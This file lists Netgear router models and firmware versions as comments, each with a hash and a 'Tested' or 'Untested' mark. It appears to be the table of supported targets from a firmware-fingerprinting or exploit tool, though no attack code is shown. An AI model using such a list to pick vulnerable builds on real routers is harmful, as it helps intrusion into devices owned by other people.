# R6400v2 V1.0.2.60_10.0.44 4e73683b8cfaaadac6b0c9a2b5fe81d1Untested
# R6400v2 V1.0.2.56_10.0.42 c0bd191a5c021607b9c4627734943cd5Untested
# R6400v2 V1.0.2.52_1.0.3973e31c6da5db634d58245169c430ab4eUntested
# R6400v2 V1.0.2.50_1.0.38d3a9a3d8d1cad0836ceb36c50eda2dbbUntested
# R6400v2 V1.0.2.46_1.0.365ac0b9b42dc3be8f1fe67a4ea50d766eUntested
# R6400v2 V1.0.2.44_1.0.35a29a8290d6f451aa23db9cc132c8bb13Untested
# R6400v2 V1.0.2.34_1.0.22d609534b475f848709b5957bf65853d7Untested
# R6400v2 V1.0.2.32_1.0.20791b103a3798b00e844007520f0ef10bUntested
# R6400v2 V1.0.2.14_1.0.7 f707aab369ee4a0358084f8732df4427Untested
# R6700 V1.0.2.8_10.0.530aa39d2e46c1597da2ef91894bb016e2Untested
# R6700 V1.0.2.6_10.0.520a9041cc202ca71633f6fd5b15d621efUntested
# R6700 V1.0.1.48_10.0.46 f9856946d2b2d60ac72149f3db34bd18Untested
# R6700 V1.0.1.46_10.0.45 60fbfa7d196f3262b1d5c7f2388815fbUntested
# R6700 V1.0.1.44_10.0.44 b034da1c05b9e0e76d980808457b9f7bUntested
# R6700 V1.0.1.36_10.0.40 361b453523cd68d1d50f9be9e6affab4Untested
# R6700 V1.0.1.32_10.0.38 346a257676872b5322986dd755a26ba0Untested
# R6700 V1.0.1.26_10.0.35 d868075504004b20d7788c788a5180b2Untested
# R6700 V1.0.1.22_10.0.33 66bc7b05ac8c546f7f896a9829f01adfUntested
# R6700 V1.0.1.20_10.0.32 43ae34c752dacb9f842947165115568dUntested
# R6700 V1.0.1.16_10.0.30 56e60ce42c6b4eb204e5c192a3cc7021Untested
# R6700 V1.0.1.14_10.0.29 1f8d3fbcc6e12424692ad371fd895b34Untested
# R6700 V1.0.0.26_10.0.26 e57c70b7d76855b8df473a8ecc8d4b2cUntested
# R6700 V1.0.0.24_10.0.18 0a63a44df72c4ad9479df8552c9bdf96Untested
# R6700 V1.0.0.2_1.0.19990354d0687c8cde7f42aa025eec7c2Untested
# R6700v3 V1.0.4.84_10.0.58 25c0a4081adf5ff142074fd0d8014ac7Untested
# R6700v3 V1.0.4.82_10.0.57 234bdb2fe2d358fa4dbce974ca98d8b0Untested
# R6700v3 V1.0.4.78_10.0.55 c7dad31adf2562df42d1b020a56ab630Untested
# R6700v3 V1.0.3.66_10.0.50 585dedb8fa86d0d8f6a4efb5591c501dUntested
# R6700v3 V1.0.2.66_10.0.48 43d36ce5d516a6121adff6aec8f5a7c7Untested
# R6700v3 V1.0.2.62_10.0.46 11aa8cceef3708d911cb4b2919fe396aUntested
# R6700v3 V1.0.2.60_10.0.44 4e73683b8cfaaadac6b0c9a2b5fe81d1Untested
# R6700v3 V1.0.2.56_10.0.42 c0bd191a5c021607b9c4627734943cd5Untested
# R6700v3 V1.0.2.52_1.0.3973e31c6da5db634d58245169c430ab4eUntested
# R6900 V1.0.2.8_10.0.38d81bc8a57b9430527fb706d516eed382Untested
# R6900 V1.0.2.6_10.0.37b87b38710ef5977179d503bc9bf66c13Untested
# R6900 V1.0.2.4_10.0.359e79f7b6256d96609a7a461829d8248eUntested
# R6900 V1.0.1.48_10.0.30 8784f761ecd1b354649f6cf8c2c5b99fUntested
# R6900 V1.0.1.46_10.0.29 37400b051afec889ab58b056d5bb3c86Untested
# R6900 V1.0.1.44_10.0.28 9784f4edd86b697c94acde2276179de3Untested
# R6900 V1.0.1.34_1.0.24d01623ce7b7493963aa159a60e07fe19Untested
# R6900 V1.0.1.28_1.0.21541352d81d7ce6c70707f858e03d3ad3Untested
# R6900 V1.0.1.26_1.0.20acbcba2cf243924e324e07b625d8f6b9Untested
# R6900 V1.0.1.22_1.0.1801c44643eb33073d5e6ad845227f798aUntested
# R6900 V1.0.1.20_1.0.178c26c3b7f0f24f98acda07da2ccad65eUntested
# R6900 V1.0.1.16_1.0.157e599f7ebee500d6f085f531a6f1e934Untested
# R6900 V1.0.1.14_1.0.14de1af2d6fdc38f2efa7dc19f71110b77Untested
# R6900 V1.0.0.4_1.0.10 f7cdbfd458403617025681b9fd545df8Untested
# R6900 V1.0.0.2_1.0.24f1253f17d5892a6ad139b17f8122d95Untested
# R6900PV1.3.1.64_10.1.36 73230b02c8371d16933b86caea3406c8Untested
# R6900PV1.3.1.44_10.1.23 c94a81a643471975801c1f65f30fa09eUntested
# R6900PV1.3.1.26_10.1.3350a0ce80d8448f89821c84c5c24e77aUntested
# R6900PV1.3.0.20_10.1.157f68b9174f20c1cb9076e893f7c7e3eUntested
# R6900PV1.3.0.8_1.0.93 72df20b0f868e8fb896dc1c89b2f7c9aUntested
# R6900PV1.2.0.22_1.0.7889b5c3b5f8f75715b01eca80d8423adcUntested
# R6900PV1.0.1.14_1.0.598731b6fcf8aa73adec7175c4fa30d623Untested
# R6900PV1.0.0.58_1.0.50d04818c010e0bcfeef910cb8c0bd217eUntested
# R6900PV1.0.0.46_1.0.30d2f1f602054a8475aebd563d9373c59cUntested
# R7000 V1.0.11.100_10.2.100f39d1a3be29d903a5de78a876a92f247Tested
# R7000 V1.0.9.88_10.2.88 1e4a56c9fa6a0b1ddb12c93260aa86b9Tested
# R7000 V1.0.9.64_10.2.64 2545e4d62fe606c9235301b13fe51c4aTested
# R7000 V1.0.9.60_10.2.60 0c1face67db74dae80477937e375c90fTested
# R7000 V1.0.9.42_10.2.44 9db15cdabcb182c5a8c352f4d62240aaTested
# R7000 V1.0.9.34_10.2.36 0130c6ef44df28825c34998ec1ed9d28Tested
# R7000 V1.0.9.32_10.2.34 d63cc30511ec16eb22aea2ad4536c482Untested
# R7000 V1.0.9.28_10.2.32 65fdddb6075d231981d0b0b0b173b957Untested
# R7000 V1.0.9.26_10.2.31 e7eb90b86b4cf80fc498a3a2a1cde4b6Tested
# R7000 V1.0.9.18_1.2.2762f58a3b03d2ffe4da6def29dc57fd62Tested
# R7000 V1.0.9.14_1.2.25933a68fd113502dbe5ee5eda56d76c4dTested
# R7000 V1.0.9.12_1.2.230815e4c5d8bf72f3bc8f8a7c3c5151a5Tested
# R7000 V1.0.9.10_1.2.2189caf1296fb771f6f710fdaa11b1eee4Tested
# R7000 V1.0.9.6_1.2.19 5f52c024607204abbe68350fe3da9ff0Tested
# R7000 V1.0.8.34_1.2.15f9472bcb1eea80197f98bd33006666a3Tested
# R7000 V1.0.7.12_1.2.5 20358acc1e6eff39e2d6846e76b24cd8Untested
# R7000 V1.0.7.10_1.2.3 c555f18db9afc19489e7e986f143d485Untested
# R7000 V1.0.7.6_1.1.99 0a49104751389366034a7c88f32197b3Untested
# R7000 V1.0.7.2_1.1.93 6d7d94848a91a3e22ff1654411ba09aeUntested
# R7000 V1.0.5.70_1.1.9105a4bf0348e03857c7d37910f02f4afeUntested
# R7000 V1.0.5.64_1.1.88edfa804fcb57d842ae1ea53544fc790dUntested
# R7000 V1.0.4.30_1.1.67c62491d7b5f5ac6a41d4f25d7a4896e2Untested
# R7000 V1.0.4.28_1.1.6460f6118cc800e96ec4156738485a6061Untested
# R7000 V1.0.4.18_1.1.52ee82a3fcaf278597ebeb6bd6a7a436ecUntested
# R7000 V1.0.3.80_1.1.386575261b06aa8a64242f02461530a0fcUntested
# R7000 V1.0.3.68_1.1.31d62937f144cbe3cc259d33c70adf1f65Untested
# R7000 V1.0.3.60_1.1.27f36cf1c461b50883d5c001f66f06c324Untested
# R7000 V1.0.3.56_1.1.252ad107f27a2d3fa6db7787594a5718cdUntested
# R7000 V1.0.3.24_1.1.2025d86a5a33cd447aa35120e4fc97ae8eUntested
# R7000 V1.0.2.194_1.0.15 26fb65524fec001d6ff8cc723d0e863aUntested
# R7000 V1.0.2.164_1.0.15 b4b75cd7c7fc736ca8d195de6954cdb0Untested
# R7000 V1.0.1.22_1.0.151e7fbdb154328552e6ae21e106b79d71Untested
# R7000 V1.0.0.96_1.0.152e25aedb619a9e5520bf8ea9a25d06acUntested
# R7000PV1.3.1.64_10.1.36 73230b02c8371d16933b86caea3406c8Untested
# R7000PV1.3.1.44_10.1.23 c94a81a643471975801c1f65f30fa09eUntested
# R7000PV1.3.1.26_10.1.3350a0ce80d8448f89821c84c5c24e77aUntested
# R7000PV1.3.0.20_10.1.157f68b9174f20c1cb9076e893f7c7e3eUntested
# R7000PV1.3.0.8_1.0.93 72df20b0f868e8fb896dc1c89b2f7c9aUntested
# R7000PV1.2.0.22_1.0.7889b5c3b5f8f75715b01eca80d8423adcUntested
# R7000PV1.0.1.14_1.0.598731b6fcf8aa73adec7175c4fa30d623Untested
# R7000PV1.0.0.58_1.0.50d04818c010e0bcfeef910cb8c0bd217eUntested
# R7000PV1.0.0.56_1.0.45e9350d724b176c752f1854d0c93d6197Untested
# R7000PV1.0.0.50_1.0.3502b57178cbc3c931d3f260a544429481Untested
# R7000PV1.0.0.46_1.0.30d2f1f602054a8475aebd563d9373c59cUntested
# R7000PV1.0.0.44_1.0.27fa0eee5e0992621c67e3e2ba5aa00515Untested
# R7100LG V1.0.0.52_1.0.6 1c8d51be270d926fae37ccb870eb1e1aUntested
# R7100LG V1.0.0.50_1.0.6 1d7ef2375f5d48946c00c256c68d2c7eUntested
# R7100LG V1.0.0.48_1.0.6 114fd13cefdf17588004e13240b8e1bfUntested
# R7100LG V1.0.0.46_1.0.6 f9debfe64d27d0a4e96e7b6a9108363bUntested
# R7100LG V1.0.0.42_1.0.6 dcb553dfd489154862ac74eba99e7497Untested
# R7100LG V1.0.0.40_1.0.6 6bf2fa0bbd5afd33358cf5753477907bUntested
# R7100LG V1.0.0.38_1.0.6 ee79ad50639af3c4fff83e1638223dffUntested
# R7100LG V1.0.0.36_1.0.6 1c05d9c779fce01aa42859181382340bUntested
# R7100LG V1.0.0.34_1.0.6 45fc097ce307749679c46d77cde5a6aaUntested
# R7100LG V1.0.0.32_1.0.6 b6adb8bc5262870940b410634305d18bUntested
# R7100LG V1.0.0.30_1.0.6 fb13dc96f7513d2eaef39966b0245c7bUntested
# R7100LG V1.0.0.28_1.0.6 11f8dd187ef5b5bab4976d9292d129fcUntested
# R7100LG V1.0.0.24_1.0.6 26732e7cac019aadb0513625017f384aUntested
# R7300 V1.0.0.74_1.0.29505ed4f38c41eee6d44f7689f50be393Untested
# R7300 V1.0.0.70_1.0.25ae3e7269a0b9d57c970341bcb0429542Untested
# R7300 V1.0.0.68_1.0.242bcde5639accf598265b7177d782476dUntested
# R7300 V1.0.0.62_1.0.210fe64444a5449fbc047200473f0f9403Untested
# R7300 V1.0.0.60_1.0.2013d0cabc4464b992e1df78eef6f3961fUntested
# R7300 V1.0.0.56_1.0.18ebbbdf612c711973bbf8794c44a95970Untested
# R7300 V1.0.0.54_1.0.175aa834b74be6bf16397c791c80c15146Untested
# R7300 V1.0.0.52_1.0.1695419377446f8733fa675c890ec5f894Untested
# R7300 V1.0.0.46_1.0.137628870b9f553a2e10768f69756a581dUntested
# R7300 V1.0.0.44_1.0.1283b93e33bfc09a30668aa0fdd23e2854Untested
# R7300 V1.0.0.32_1.0.6 fcef0ba19d673f34ccef4dc91dc4fa05Untested
# R7300 V1.0.0.26_1.0.6 92cff1f3477af90d8596377839e2eec5Untested
# R7850 V1.0.5.48_10.0.4086770d1439357f850a3112ae8819141Untested
# R7850 V1.0.4.46_10.0.20b0d439985567721303ce85429f9f1fbUntested
# R7850 V1.0.4.42_10.0.17154f14e8e52992364b9a46454280843Untested
# R7900 V1.0.4.22_10.0.44 3068215ef9fae0f5b91f423cf298b551Untested
# R7900 V1.0.3.18_10.0.42 b9648a3331fe0bc714086aa465407027Untested
# R7900 V1.0.3.10_10.0.38 9f36b5152658c5fab9524a1d5aca196cUntested
# R7900 V1.0.3.8_10.0.37f7f345699b491db79d7ce2b13c838941Untested
# R7900 V1.0.2.16_10.0.32 6ea7c6925906967070fbb149a66a4f06Untested
# R7900 V1.0.2.10_10.0.29 644585c5d3509fe14d52387e1a8bb7c8Untested
# R7900 V1.0.1.26_10.0.23 2ce02ded670becb1ddf5f23c883d81eeUntested
# R7900 V1.0.1.18_10.0.20 6f9af2c3b682c45793dcf06788603160Untested
# R7900 V1.0.1.12_10.0.17 44a17c8063f2750fb13bb47bc3cd570cUntested
# R7900 V1.0.1.8_10.0.1466c1cbf908e9d665ac80aaf2a03c4d8fUntested
# R7900 V1.0.1.4_10.0.126d1186a3d281608fc83936e6c5961145Untested
# R7900 V1.0.0.10_10.0.746ec7fc4c5cdb9c093ff3bfdb4c8075dUntested
# R7900 V1.0.0.8_10.0.5 72b987220f836ba90ba96fc8f3c3e6b8Untested
# R7900 V1.0.0.6_10.0.4 255ef90a187d7faf01afa62aa2e16844Untested
# R7900 V1.0.0.2_10.0.1 7b6bd468b060ac4fb17084c20898caa4Untested
# R8000 V1.0.4.46_10.1.63 da80add1588ea779156ec23b58421a0eUntested
# R8000 V1.0.4.28_10.1.54 a93e7d1ca961c5d381c1c93b8f85168bUntested
# R8000 V1.0.4.18_10.1.49 45d86327a2dbbad50f65d04480bb91fdUntested
# R8000 V1.0.4.12_10.1.46 917d43c1bf1805db4d52ed37d360340fUntested
# R8000 V1.0.4.4_1.1.42 bb306a4634a9f38ef6b44bfb699c64d7Untested
# R8000 V1.0.4.2_1.1.41 a3ec0994398d09e774fa4f149eece45bUntested
# R8000 V1.0.3.54_1.1.37e2e236432b7e215af3d410d3fd1e3777Untested
# R8000 V1.0.3.48_1.1.338bf3b8f6e1ee371975a1811174a5fe87Untested
# R8000 V1.0.3.46_1.1.329020713be39ebf9c232ffc0efb02c8feUntested
# R8000 V1.0.3.36_1.1.25533e646304c2afa4f626f7f4c7aa404cUntested
# R8000 V1.0.3.32_1.1.2102dcbb51aea55ff912a28a24f6b9f78bUntested
# R8000 V1.0.3.26_1.1.18e13536f8d86441eae991067c25d8e22fUntested
# R8000 V1.0.3.4_1.1.26de885748d6d20f6b5d8fce7112e8563Untested
# R8000 V1.0.2.46_1.0.975b6484ebe4dc70c4f6e3e2068d999efbUntested
# R8000 V1.0.2.44_1.0.966f83c53910438a665cb1077dbcd3365eUntested
# R8000 V1.0.1.16_1.0.747d670355315b039002a8cbbb80420b4fUntested
# R8000 V1.0.0.110_1.0.70 ef0078e8e19027cdf9ea19de0c933042Untested
# R8000 V1.0.0.108_1.0.62 6b3476409b804505b6d50ad6bc7b1225Untested
# R8000 V1.0.0.102_1.0.45 a01fcda6b67f06fe4c8c89beea8a1346Untested
# R8000 V1.0.0.100_1.0.44 49c84460fe2f2c8acde4c2a5e644b1c8Untested
# R8000 V1.0.0.90_1.0.393f1ec00fbd5b17bb494a7a7b407b0c4eUntested
# R8000 V1.0.0.76_1.0.320d13323ba9174c355b892f5fdc8ad1f4Untested
# R8000 V1.0.0.74_1.0.312ba89ed0267f17111410325af7443e9cUntested
# R8000 V1.0.0.68_1.0.27444b9d3c9f7c4fd57b88adcc204e5786Untested
# R8000 V1.0.0.46_1.0.1700a3ca9d640835bc1522bf778316d085Untested
# R8300 V1.0.2.130_1.0.99 6e66d0f53dabb26b63b3c51c60e31d29Tested
# R8300 V1.0.2.128_1.0.97 a1976abe6cfe426c82fd3e77910ae833Tested
# R8300 V1.0.2.122_1.0.94 9158cf385252ea8803c593a61c25d6b4Untested
# R8300 V1.0.2.116_1.0.90 379b3d60f766f148f6edd781207021a4Untested
# R8300 V1.0.2.106_1.0.85 e07b4ac548845360376351088bdbe025Untested
# R8300 V1.0.2.100_1.0.82 aee8499b7a27150255651be82f68d292Untested
# R8300 V1.0.2.94_1.0.79bcfbef70672ec7f5eb191eb362d91827Untested
# R8300 V1.0.2.86_1.0.75de6b48ac7b27dbe36b3ab787dfda3c69Untested
# R8300 V1.0.2.80_1.0.71fc1acfbaeebc1f377b44597371b0d250Untested
# R8300 V1.0.2.48_1.0.52e851c828e338b0877257dd1944f48f95Untested
# R8500 V1.0.2.130_1.0.99 6e66d0f53dabb26b63b3c51c60e31d29Untested
# R8500 V1.0.2.128_1.0.97 a1976abe6cfe426c82fd3e77910ae833Untested
# R8500 V1.0.2.122_1.0.94 9158cf385252ea8803c593a61c25d6b4Untested
# R8500 V1.0.2.116_1.0.90 379b3d60f766f148f6edd781207021a4Untested
# R8500 V1.0.2.106_1.0.85 e07b4ac548845360376351088bdbe025Untested
# R8500 V1.0.2.100_1.0.82 aee8499b7a27150255651be82f68d292Untested
# R8500 V1.0.2.94_1.0.79bcfbef70672ec7f5eb191eb362d91827Untested
# R8500 V1.0.2.86_1.0.75de6b48ac7b27dbe36b3ab787dfda3c69Untested
# R8500 V1.0.2.80_1.0.71fc1acfbaeebc1f377b44597371b0d250Untested
# R8500 V1.0.2.64_1.0.625b4523865713dac322bd857130609ad2Untested
# R8500 V1.0.2.54_1.0.5624f96de9380f9de69e12f89d4fa75819Untested
# R8500 V1.0.2.30_1.0.4386b0d0a568ac5c96a76caff6fd58aa61Untested
# R8500 V1.0.2.26_1.0.41db2cb85f4ebe32a00ed0f363857296bcUntested
# R8500 V1.0.0.56_1.0.287ce6e1dc960c18753db2d1e485b89b06Untested
# R8500 V1.0.0.52_1.0.263e38a40d46ab92e4051c75485d1905c2Untested
# R8500 V1.0.0.42_1.0.2346bede5c9402a454eb1ae575e7a360e4Untested
# R8500 V1.0.0.28_1.0.1594090fe2e24ba7306a2f31633adc9fe7Tested
# RS400 V1.5.0.34_10.0.33 06d0d64069c01a8097cd872749976d05Untested
# WGR614v8V1.2.10_21.0.52 614f89302975403d496b4a0b518aea8aUntested
# WGR614v8V1.2.10_21.0.52NA 101384d94d7952a544fa2e62ca73e109Untested
# WGR614v8V1.1.24_14.0.43 f43f802a97701767f8fa09f1eb0618c6Untested
# WGR614v8V1.1.24_14.0.43NA 95a6f676f56eac0bb8b1eebbd07218acUntested
# WGR614v8V1.1.2_1.0.23 071d4113f52c9b21b3c910bb28bacb7dUntested
# WGR614v8V1.1.2_1.0.23NA bd2fb25f2771d63615a8f3b97c969a0eUntested
# WGR614v8V1.1.11_6.0.36607bb6c99bf0133f0d01fa514801b849Untested
# WGR614v8V1.1.11_6.0.36NA241628d09640f984584744fb017683c3Untested
# WGR614v8V1.1.1_1.0.20NA b6eb6eae0124e9cd22d61adcc38c999aUntested
# WGR614v8V1.1.20_7.0.37a3c36fcddb7655a94363cc3b7918496aUntested
# WGR614v8V1.1.20_7.0.37NAed0152c3f9cb8bd31c9c166e20cafc4bUntested
# WGR614v9V1.2.32_43.0.46 fa1c55ad1567fd849ef751d291b892deUntested
# WGR614v9V1.2.32_43.0.46NA 365476604a6a3d41ea175f10c3dde764Tested
# WGR614v9V1.2.30_41.0.44 7118b22c86f91adc51bcf1cb1d6adf6cUntested
# WGR614v9V1.2.30_41.0.44NA 5aa4fb6075c995ac8ed73872785c78ceUntested
# WGR614v9V1.2.24_37.0.35 5b911dfea21d8db82724810e2a9158bdUntested
# WGR614v9V1.2.24_37.0.35NA 82e743338a1e9ef765dc4b3e37fafd9dUntested
# WGR614v9V1.2.6_18.0.1762d24aa8be617fd336dea0debb655ae1Untested
# WGR614v9V1.2.6_18.0.17NA523084eb4010f48a0e707a4028a1fe1dUntested
# WGR614v9V1.2.2_14.0.13e6a2dbc9c94544c7eed21b237ccfd24fUntested
# WGR614v9V1.2.2_14.0.13NA2d8d6c91da01e286af941d53b0941cd8Untested
# WGR614v9V1.0.18_8.0.9PT 64676efe72f6af307b828271e6204fc2Untested
# WGR614v9V1.0.18_8.0.9NA c2ef52172f626dd54516748218fd86fcUntested
# WGR614v9V1.0.15_4.0.3 77789a77994b2401784b1401d73d0b9dUntested
# WGR614v9V1.0.15_4.0.3NA 7a8e000d8d49c9e59c4b1679017a34b2Untested
# WGR614v9V1.0.9_1.0.1NAf254181ba5f01c3a995d2196ae14ee80Untested
# WGR614v10 V1.0.2.66_60.0.90 3ba19173b642c36ab3101c2eba76cffeUntested
# WGR614v10 V1.0.2.66_60.0.90NA 0f59b6e38db90d94d2d13b768a3220a9Tested
# WGR614v10 V1.0.2.60_60.0.85 1d60611c5c1625d080f3e10e610c2d5fUntested
# WGR614v10 V1.0.2.60_60.0.85NA a025c0436b77becfe914b232bf52ef25Untested
# WGR614v10 V1.0.2.58_60.0.84NA f80a3eb6d9210cb0de2198779f497193Untested
# WGR614v10 V1.0.2.54_60.0.82 ab7a9cc1b054ab8ca2109437f3496f52Untested
# WGR614v10 V1.0.2.54_60.0.82NA 2a458ba9762df0e91aeb7c38d3eb7e23Untested
# WGR614v10 V1.0.2.26_51.0.59 40d158ee9d77db8630f6404e11ae03f9Untested
# WGR614v10 V1.0.2.26_51.0.59NA 2e31d2fd814b3bdfe3b0e3f20843d1b9Untested
# WGR614v10 V1.0.2.18_47.0.52 73aab18a9fc0035ff8c65d444cab5549Untested
# WGR614v10 V1.0.2.18_47.0.52NA d4d624d349e6f7da73043d71f44a57d5Untested
# WGT624v4V2.0.13_2.0.15NA80fefa297112135ddd81cf1f60f3c751Tested
# WGT624v4V2.0.13_2.0.14cb4f0a9fc4135b33a9cf560c95c97f51Untested
# WGT624v4V2.0.13_2.0.14NAf5b5be2c84b1aef8ca53df5fceab272eUntested
# WGT624v4V2.0.12_2.0.12fed810d3dc976e06588e6876f96f9259Untested
# WGT624v4V2.0.12_2.0.12NA60a3a0f205a5716818dbdf1975fbb07bTested
# WGT624v4V2.0.6_2.0.6NAf96fbceb5289a65edd92f978ee706339Untested
# WN2500RPV1.0.0.30_1.0.5807465158c20dba3b49c79d2ad1b9c84aUntested
# WN2500RPV1.0.0.26_1.0.5496bd8cfd11a618e5a55bd022428782c9Untested
# WN2500RPV1.0.0.24_1.0.53242e4d920ff5df57c9d65a238c29ce37Untested
# WN2500RPv2V1.0.1.54_1.0.6814b91d65bae2129cc4b899e720e75703Untested
# WN2500RPv2V1.0.1.50_1.0.648b0791af9666590e58209fd7e5a16b27Untested
# WN2500RPv2V1.0.1.46_1.0.60b5114bc628d4e9edc10196270d583177Untested
# WN2500RPv2V1.0.1.42_1.0.5644a31a9fb0bedf6c005091ad494f5351Untested
# WN2500RPv2V1.0.0.30_1.0.4180ef4b999eca686146b0b04e6d669373Untested
# WN3000RPV1.0.2.64_1.1.86cb7f3d886a25dc7eb9f986beb54db84aTested
# WN3000RPV1.0.1.36_1.1.47df4292954de76be0f27025b9d13ce6bbUntested
# WN3000RPV1.0.1.34_1.1.4671f56fc6e8094749302f527fe82289a2Untested
# WN3000RPV1.0.1.18_1.1.24a1c3820bdca75d04162dd7861fb2f86dTested
# WN3000RPV1.0.0.12_1.0.12e06626090bdae6ce66cf75ff03808a5eUntested
# WN3100RPV1.0.0.20_1.0.227fdba1a377186b9e1998672c2648d79dUntested
# WN3100RPV1.0.0.16_1.0.2035d8cde0380d205a7fdca505667d85b4Untested
# WN3100RPV1.0.0.14_1.0.19ae21c356da1b984b489b8aabce19de7bUntested
# WN3100RPV1.0.0.6_1.0.12 f731689ad01cc5505e3891e6919c5a05Untested
# WN3500RPV1.0.0.22_1.0.62c1674d36c57a5de7933135d59383974eUntested
# WN3500RPV1.0.0.20_1.0.6065d7a5a699c75333693b2cd396034937Untested
# WN3500RPV1.0.0.18_1.0.5983df1d146445eb58d09e445cb3249894Untested
# WN3500RPV1.0.0.16_1.0.580bbedd6843907c8fbb64770e8b57ac2dUntested
# WN3500RPV1.0.0.14_1.0.547cc46c62a531db3dc0fd4780c0f82838Untested
# WN3500RPV1.0.0.12_1.0.49d6d3eb3f36fa4c2a041903bf7d6fd169Untested
# WNCE3001V1.0.0.50_1.0.35059ad6dcebb82e6651096da7a08fc78dUntested
# WNCE3001V1.0.0.46_1.0.3394f01f14cf494c5149f6d7beaa9296d7Untested
# WNCE3001V1.0.0.44_1.0.324bbca14fd0f41a8c5cd6871a128e46acUntested
# WNCE3001V1.0.0.38 619dc850fe460613aaa2c6df53c419d2Untested
# WNDR3300V1.0.45_1.0.4503d3251057856d6cac4769ab86b066bfTested
# WNDR3300V1.0.45_1.0.45NA5d07e4a0ea0a970e89f9396aa62dd607Tested
# WNDR3300V1.0.29_1.0.29602f96a6fae5e8d7f4309f4d8e08188dUntested
# WNDR3300V1.0.29_1.0.29NAd6f3cf64ce4af186d4e32b4e6452faf2Untested
# WNDR3300V1.0.27_1.0.27NA8ec2a57bb32cfc0f037972e7e4de7fafUntested
# WNDR3300V1.0.26_1.0.263de6162f831de47f58d9f5333e55b7abUntested
# WNDR3300V1.0.26_1.0.26NA748179fe0a96b58999b3a159c3e31723Untested
# WNDR3300V1.0.23_1.0.23NA3bb5461c1170a5753dfffc3f640acc2bUntested
# WNDR3300V1.0.14 cf637815959405a86d006e2ba1bcfb8dUntested
# WNDR3300V1.0.14NA 3d2ac9332328b0c256e3c733c98f6a52Tested
# WNDR3300v2V1.0.0.26_11.0.26NA e835e1eee653616ba95499f599b78e5bUntested
# WNDR3400V1.0.0.52_20.0.60 80de163495cc5e58b2c2ff897eec5fd6Tested
# WNDR3400V1.0.0.50_20.0.59 d11430ae71dbae949d2eb2a9630ccf1aUntested
# WNDR3400V1.0.0.38_16.0.48 b8c40a4c5186a3db9ce2a9099147e693Tested
# WNDR3400V1.0.0.34_15.0.42 040b5ffe8176b9c42d96b2099f9b4ce0Untested
# WNDR3400v2V1.0.0.54_1.0.829c021309e2c4091fc57df0353e75b549Tested
# WNDR3400v2V1.0.0.52_1.0.81727e32bd4cb10e0b24d9766fe9a227dfUntested
# WNDR3400v2V1.0.0.38_1.0.61c8e6e4c539f61b3e3eb6ca0539a68858Untested
# WNDR3400v2V1.0.0.34_1.0.52a88e95d61d2d7ff00009cb1120e85fe5Untested
# WNDR3400v2V1.0.0.16_1.0.346e2f0190e121d60c8ff14a3fbe1f13f1Tested
# WNDR3400v2V1.0.0.12_1.0.30b5b34647f8f8d3ba34e7eb5d9c972135Untested
# WNDR3400v3V1.0.1.24_1.0.672be19432190609d6bfb02d6c1c47ee75Tested
# WNDR3400v3V1.0.1.22_1.0.66c077e49ec59fc692b030198bf495e3aeUntested
# WNDR3400v3V1.0.1.18_1.0.6321bf9c98c100bda9f3c1426c0ac08b8eUntested
# WNDR3400v3V1.0.1.16_1.0.62c5df186763e4635396ae951b655dd071Untested
# WNDR3400v3V1.0.1.14_1.0.617e3e4b4e1d52fbcd7d5e5843f09f0a68Untested
# WNDR3400v3V1.0.1.12_1.0.5841ce43703a3ebae82b57b67bb40c5d82Untested
# WNDR3400v3V1.0.1.8_1.0.56 4f5b23803637f7217bd04af851956296Untested
# WNDR3400v3V1.0.1.4_1.0.52 1ecf5ef5969f669596c25844eef9d493Untested
# WNDR3400v3V1.0.1.2_1.0.51 d5e10eb60169468672f64b018b5de076Untested
# WNDR3400v3V1.0.0.48_1.0.483a34943e3bb1ca6e1aba397b411f4b8eUntested
# WNDR3400v3V1.0.0.46_1.0.45eabecab2f26341257506074a68545c2bUntested
# WNDR3400v3V1.0.0.38_1.0.4072e5fd96a04f49a20be668bb0c5f0730Tested
# WNDR3400v3V1.0.0.22_1.0.29a04349703393acb4fa8ca8aea84fa623Untested
# WNDR3400v3V1.0.0.20_1.0.28469df29ef44a9df192be7f19d1480330Untested
# WNDR3700v3V1.0.0.42_1.0.3358e4777d185a193780db166db21d5a04Tested
# WNDR3700v3V1.0.0.38_1.0.317ba5ac026b6f6682dac17a5ce954a96cTested
# WNDR3700v3V1.0.0.36_1.0.3074ee38f55aedd22b1eab1dbf40b11386Untested
# WNDR3700v3V1.0.0.30_1.0.2782441ed888457dcdd73dec464ded0fdcUntested
# WNDR3700v3V1.0.0.22_1.0.1782c000f2875fcf4124ec520a49abb16bUntested
# WNDR3700v3V1.0.0.18_1.0.1411b537851e5429908b1d6ba720db2869Tested
# WNDR4000V1.0.2.10_9.1.89acecc4d245b1d3ac2a9863a26578f150Tested
# WNDR4000V1.0.2.6_9.1.87 fe27305c1bcf41d76ed261aefb28c3bcUntested
# WNDR4000V1.0.2.4_9.1.86 fd0b612d1d38adb9e06b34f71d32c02fTested
# WNDR4000V1.0.2.2_9.1.84 db0094ac915fdc03f939d8e322a90ab7Untested
# WNDR4000V1.0.0.94_9.1.810f5429b29cd3e891e79674989aec023cUntested
# WNDR4000V1.0.0.90_9.1.793fa15f5a61b941a2c0135af3e515c5e8Untested
# WNDR4000V1.0.0.88_9.1.777abf69863995397c54b425ca80b30b53Untested
# WNDR4000V1.0.0.82_8.0.715523a6ff5e7b9e09ce13390c55afe218Tested
# WNDR4000V1.0.0.66_8.0.5536a4947d7073786d72f455d757361db6Untested
# WNDR4500V1.0.1.46_1.0.7684574e9f9fe95c604448052edb4d8d87Untested
# WNDR4500V1.0.1.40_1.0.68dc85b49521a1c363c73bf1ebe8c73ba0Untested
# WNDR4500V1.0.1.38_1.0.642c740bb2e8475e8265d03896eca8fc25Untested
# WNDR4500V1.0.1.36_1.0.632c7bf148fd493ea4def07e6c1cc23303Untested
# WNDR4500V1.0.1.20_1.0.405455b061ee711044c5486590cca00ff0Untested
# WNDR4500V1.0.1.18_1.0.36379ff2bad24e59f83198417a7bcd733cUntested
# WNDR4500V1.0.1.6_1.0.24 30e3aa7b3fab44e518a336d74bfa453eUntested
# WNDR4500V1.0.0.58_1.0.13bdb781e3112fa9ffe30d16117ecd701dUntested
# WNDR4500V1.0.0.50_1.0.120162e056eb5d34da63ff8e6d4d73f5a0Untested
# WNDR4500V1.0.0.40_1.0.1048a3028c2e06d22fee5161fba04b260dUntested
# WNDR4500v2V1.0.0.72_1.0.45c5f20d0f2cee57993508c0418392e0f3Tested
# WNDR4500v2V1.0.0.68_1.0.42af43fabb4e9ff2e2318d2a36417bd978Untested
# WNDR4500v2V1.0.0.64_1.0.401d7bc84bb31f20ceaa573e36be1b0857Untested
